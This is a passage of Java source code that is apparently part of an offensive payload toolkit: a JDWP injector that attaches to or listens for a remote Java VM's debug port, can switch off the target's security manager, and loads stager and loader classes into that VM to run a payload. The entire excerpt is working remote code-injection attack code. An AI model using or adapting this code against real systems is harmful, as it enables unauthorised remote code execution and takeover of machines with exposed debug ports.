}
public static void inject(String connector, final StagerHandler.Loader loader, String[] stagerArgs) throws Exception {
final String stager = stagerArgs[0];
final VirtualMachineManager vmm = com.sun.jdi.Bootstrap.virtualMachineManager();
VirtualMachine vm = null;
boolean disableSecurityManager = false;
if (connector.endsWith("!")) {
disableSecurityManager = true;
connector = connector.substring(0, connector.length()-1);
}
final int pos = connector.lastIndexOf(':');
if (pos == -1) {
final int port = Integer.parseInt(connector);
for (int i = 0; i < vmm.listeningConnectors().size(); i++) {
final ListeningConnector lc = (ListeningConnector) vmm.listeningConnectors().get(i);
if (lc.name().equals("com.sun.jdi.SocketListen")) {
final Map connectorArgs = lc.defaultArguments();
((Argument) connectorArgs.get("port")).setValue("" + port);
lc.startListening(connectorArgs);
vm = lc.accept(connectorArgs);
lc.stopListening(connectorArgs);
}
}
} else {
final int port = Integer.parseInt(connector.substring(pos + 1));
for (int i = 0; i < vmm.attachingConnectors().size(); i++) {
final AttachingConnector ac = (AttachingConnector) vmm.attachingConnectors().get(i);
if (ac.name().equals("com.sun.jdi.SocketAttach")) {
final Map connectorArgs = ac.defaultArguments();
((Argument) connectorArgs.get("hostname")).setValue(connector.substring(0, pos));
((Argument) connectorArgs.get("port")).setValue("" + port);
vm = ac.attach(connectorArgs);
break;
}
}
}
boolean isJDWPTunnelStager = stager.equals("JDWPTunnel");
loader.handleBefore(loader.stageHandler.consoleErr, null); // may modify stagerArgs
final StringBuffer embeddedArgs = new StringBuffer();
for (int i = 0; i < stagerArgs.length; i++) {
if (i != 0) {
embeddedArgs.append("\n");
}
embeddedArgs.append("$").append(stagerArgs[i]);
}
Class[] classes = new Class[] {
javapayload.stager.Stager.class,
Class.forName("javapayload.stager." + stager),
javapayload.loader.JDWPLoader.class
};
if (isJDWPTunnelStager) {
classes = new Class[] {
javapayload.loader.JDWPCommunication.class,
javapayload.stager.Stager.class,
javapayload.stager.JDWPTunnel.class,
javapayload.loader.JDWPLoader.class
};
}
final byte[][] classBytes = new byte[classes.length][];
for (int i = 0; i < classes.length; i++) {
final InputStream in = JDWPInjector.class.getResourceAsStream("/" + classes[i].getName().replace('.', '/') + ".class");
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final byte[] tmp = new byte[4096];
int len;
while ((len = in.read(tmp)) != -1) {
out.write(tmp, 0, len);
}
in.close();
out.close();
classBytes[i] = out.toByteArray();
if (classBytes[i] == null) {
throw new RuntimeException();
}
}
ClassType firstInjectedClass = inject(vm, classBytes, embeddedArgs.toString(), disableSecurityManager, loader.stageHandler.consoleOut);
if (isJDWPTunnelStager) {
loader.handleAfter(loader.stageHandler.consoleErr, firstInjectedClass);
} else {
vm.dispose();
loader.handleAfter(loader.stageHandler.consoleErr, null);
}
}